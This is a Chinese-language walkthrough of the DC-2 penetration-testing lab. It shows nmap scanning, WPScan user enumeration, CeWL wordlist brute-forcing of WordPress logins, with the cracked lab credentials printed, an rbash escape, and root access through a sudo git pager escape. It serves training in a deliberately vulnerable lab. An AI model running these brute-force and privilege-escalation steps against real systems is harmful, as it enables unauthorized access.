DC-2 通关详解
一.环境搭建:
与DC-1非常相似,DC-2是另一个专门建立的易受攻击的实验室,目的是获得渗透测试领域的经验。与最初的DC-1一样,它是为初学者设计的。必须具备Linux技能并熟悉Linux命令行,还必须具有使用基本渗透测试工具的经验。就像DC-1一样,有五面旗帜,包括最后一面旗帜。和DC-1一样,旗子对初学者来说很重要,但对有经验的人来说就不那么重要了。简而言之,唯一真正有意义的旗帜,是最后一面旗帜。对于初学者来说,谷歌是你的朋友。好吧,除了所有的隐私问题等等。我没有探索实现root的所有方法,因为我放弃了我一直在研究的上一个版本,并从基本操作系统安装中完全重新开始。
和DC-1一样,有五个flag
二、渗透靶场
1、目标:
目标就是我们搭建的靶场,靶场IP为:XXX.XXX.XXX.XXX/24
2、信息收集:寻找靶机真实IP
nmap -sP 192.168.52.1/24
3、信息收集:探端口及服务
nmap -A -p- -v 192.168.52.130
发现开放了80端口,存在web服务,Apache/2.4.10,
发现开放了7744端口,开放了ssh服务,OpenSSH 6.7p1
4、访问web站点
5. 发现不能访问,且发现我们输入的ip地址自动转化为了域名,我们想到dc-2这个域名解析失败,我们需要更改hosts文件,添加一个ip域名指向。
修改hosts文件,添加靶机IP到域名dc-2的指向然后输入代码vim /etc/hosts
6.然后再访问显示访问成功
然后输入dirb http://dc-2/进行文件扫描
发现dc-2的后台地址
然后打开登录页面
会发现有很多http的代码这些没有什么大用处
7..通常是指一种网络安全测试技术,用于探测目标系统是否允许用户通过尝试常见的用户名来猜测账户是否存在。攻击者会列举一系列常见的用户名,如“admin”,“test”,“guest”等,并尝试登录服务器,如果遇到响应,就表明该用户名可能是有效的。这种技术常用于弱密码策略或未启用复杂身份验证系统的环境中。
这种行为是非法的并且可能构成拒绝服务攻击(DoS),因此在安全设计中,系统应采用安全的密码策略并限制用户名猜测尝试,比如设置验证码、IP封锁等机制,以防止此类枚举攻击。
wpscan --url http://dc-2
wpscan --url http://dc-2 --enumerate t 扫描主题
wpscan --url http://dc-2 --enumerate p 扫描插件
wpscan --url http://dc-2 --enumerate u 枚举用户
扫描wordpress版本
wpscan --url http://dc-2
8.发现4.7.10的版本
登录页面尝试登录
随即输入用户名密码可以随便输入,提示用户名不存在,似乎可以进行用户名枚举
然后用下面代码进行枚举到的用户爆破密码
wpscan --url http://dc-2 --enumerate u
9.破解出三个用户名
admin jerry tom
暴力破解出账号密码
用下面代码进行对flag1进行破解cewl可以生成字典查看
cewl http://dc-2/ -w dict.txt 或者 cewl http://dc-2/ > 1.txt
输入代码使用wpscan进行暴力破解
wpscan --url http://dc-2 --passwords dc2.txt
爆破出来两个账号
jerry/adipiscing
tom/parturient
jerry/adipiscing登录此站点
10.首先来个用户枚举,再尝试利用枚举到的用户爆破密码
wpscan --url http://dc-2 --enumerate u
爆破出来两个账号
jerry/adipiscing tom/parturient
使用jerry/adipiscing登录此站点
tom/parturient登陆此站点
11.发现flag2
登录后台之后,我们看到flag2,我用的是jerry的账号
点进去之后看到flag2提示信息,简单说就是如果wordpress行不通的话就会一个点,我们之前发现有ssh,我们看看ssh
If you can't exploit WordPress and take a shortcut, there is another way.
如果你不能利用WordPress并采取一条捷径,还有另外一种方法。
Hope you found another entry point.
希望你找到了另一个入口。
10、在tom的目录下发现flag3
jerry/adipiscing
tom/parturient
登录ssh
sshtom@192.168.52.130 -p 7744
在tom账号的目录 发现flag3cat不能用
把所有命令用less和vi都可以查看
11.接下来,尝试rbash绕过详情参考 https://xz.aliyun.com/t/7642
查看可以使用的命令
echo $PATH
cd进不去目录 使用ls直接查看目录信息
12.使用echo来绕过rbash
BASH_CMDS[a]=/bin/sh;a
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
echo /*
看到提示信息如下
Good to see that you've made it this far - but you " re not home yet .
很高兴看到你走了这么远,但你还没回家。
You still need to get the final flag (the only flag that really counts!!! ).
您仍然需要获得最后的标志(唯一真正重要的标志!)
No hints here 一you're on your own now. :- )
这里没有暗示,一,你现在只能靠自己了。*-)
Go on
继续
git outta here!!!!
大致意思就是还没有结束。猜想需要提权才能获取到最终的flag,并且flag4 提示我们可以使用git,我们可以通过git来提权
使用tom用户无权限运行sudo 我们切换到jerry用户
我们可以看到无需root权限,jerry 可以使用 git
sudo -l
13.提权
查看一下可以使用的root权限命令
find / -user root -perm -4000 -print 2>/dev/null
jerry用户也不可以直接sudo su
使用git命令进行提取sudo git help status
输入!/bin/sh,直接输入就行
然后再输入sudo git help status进行提权
14.发现final-flag.txt
cd /root
cat final-flag.txt
到这一步也就代表着结束了